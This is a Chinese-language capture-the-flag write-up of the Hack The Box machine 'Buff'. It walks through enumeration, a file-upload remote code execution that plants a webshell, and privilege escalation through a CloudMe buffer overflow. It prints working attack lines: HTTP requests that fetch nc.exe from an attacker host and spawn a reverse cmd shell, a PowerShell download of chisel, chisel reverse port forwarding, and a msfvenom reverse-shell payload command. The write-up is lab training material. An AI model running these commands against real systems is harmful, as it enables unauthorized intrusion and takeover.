概述 (Overview)
攻击链 (Kiillchain)
TTPs (Tactics, Techniques & Procedures)
- name
- Unauthenticated Remote Code Execution
- chisel
- Buffer Overflow
阶段1:枚举
老规矩,nmap 开局:
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.184 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.184
浏览器查看 8080
端口,是一个教瑜伽的官网。
在页面上没有获取到太多有用的信息,尝试枚举目录。
可以从日志中看到,很多路径都是响应的 403
,尝试 burp
转发下端口看看能不能绕过。
好吧依然 403
,看看别的信息。在 contact.php
页面发现Web服务的版本信息。
阶段2:工具及利用
阶段2.1:未经身份验证的远程代码执行
尝试google找找有没有利用,发现一个可利用的 Unauthenticated Remote Code Execution
。
使用 exploit
(https://www.exploit-db.com/exploits/48506) 成功返回一个伪交互终端。
分下了一下该python代码,实际上是上传了一个新的webshell文件,然后进行命令执行。直接输入exploit中的url路径即可。
为了看的更信息的过程,在exploit中加入代理。
proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", }
r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False, proxies=proxies)
具体漏洞的产生原因可以查看exploit的注释部分,首先bypass了文件后缀,使其满足图片后缀,其次bypass了文件类型,使其符合比对的图片类型,最后根据代码执行逻辑会对文件进行重命名。
通过Webshell成功读取到 user.txt。
注意:不建议这样做,因为在考OSCP时是需要具备完整tty的交互终端截图,不认可webshell这种伪终端。
阶段2.2:NC反弹cmd
接下来进行NC的上线,获取一个交互终端:
GET /upload/kamehameha.php?telepathy=copy+\\10.10.16.6\share\nc.exe+C:\Users\shaun\Downloads\nc.exe HTTP/1.1
GET /upload/kamehameha.php?telepathy=C:\Users\shaun\Downloads\nc.exe+10.10.16.6+9900+-e+cmd HTTP/1.1
阶段3:权限提升
阶段3.1:内核提权枚举
随后systeminfo查看了一下打了补丁,将一些内核提权信息收集脚本传过去分析一下有存在哪些利用。
用 wes.py
也看看:
$ python wes.py ../../../hackthebox/Buff/systeminfo.txt -i 'Elevation of Privilege' --exploits-only | more
Windows Exploit Suggester 0.98 ( https://github.com/bitsadmin/wesng/ )
[+] Parsing systeminfo output
[+] Operating System
- Name: Windows 10 Version 1803 for x64-based Systems
- Generation: 10
- Build: 17134
- Version: 1803
- Architecture: x64-based
- Installed hotfixes: None
[+] Loading definitions
- Creation date of definitions: 20210320
[+] Determining missing patches
[+] Applying display filters
[+] Found vulnerabilities
Date: 20210309
CVE: CVE-2021-26863
KB: KB5000809
Title: Windows Win32k Elevation of Privilege Vulnerability
Affected product: Windows 10 Version 1803 for x64-based Systems
Affected component: Issuing CNA
Severity: Important
Impact: Elevation of Privilege
Exploit: http://packetstormsecurity.com/files/161768/Microsoft-Windows-Kernel-NtGdiGetDeviceCapsAll-Race-Condition-Use-After-Free.html
[+] Missing patches: 1
- KB5000809: patches 1 vulnerability
[+] KB with the most recent release date
- ID: KB5000809
- Release date: 20210309
[+] Done. Displaying 1 of the 207 vulnerabilities found.
阶段3.2:不安全的进程服务枚举
逐一尝试后发现exploit并不能提供提权,转而尝试其他方式。在 tasklist
下发现一个 CloudMe.exe
的的进程。
在用户的的下载目录找到了该服务的安装文件,后面的数字猜测为版本号。
阶段3.3:端口转发及溢出攻击
查询exploit发现对应版本存在缓存区溢出漏洞。
查看利用脚本,发现需要连接一个8888
的端口。
查看后发现存在本地监听,说明可以利用。
尝试进行端口转发,这里我用的是 chisel
(发现这东西老外用的多,学习了)。
服务器下载对应程序: powershell Invoke-WebRequest "http://10.10.16.6/chisel.exe" -OutFile "chisel.exe"
Kali上开启反向转发: ./chisel_1.7.6_linux_amd64 server --port 9901 --reverse
服务器将本地888端口转发至kali对应端口:chisel.exe client 10.10.16.6:9901 R:8888:127.0.0.1:8888
开启MSF的端口监听(我了解了下,OSCP里是允许仅使用exploit/multi/handler
和msfvenom
的),生成上线shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=9991 EXITFUNC=thread -b "\x00\x0d\x0a" -f python
将缓存溢出的exploit脚本内容中的shellcode进行替换,执行脚本就获得了一个高权限的session。
参考
- https://github.com/jpillora/chisel
- https://www.anquanke.com/post/id/234771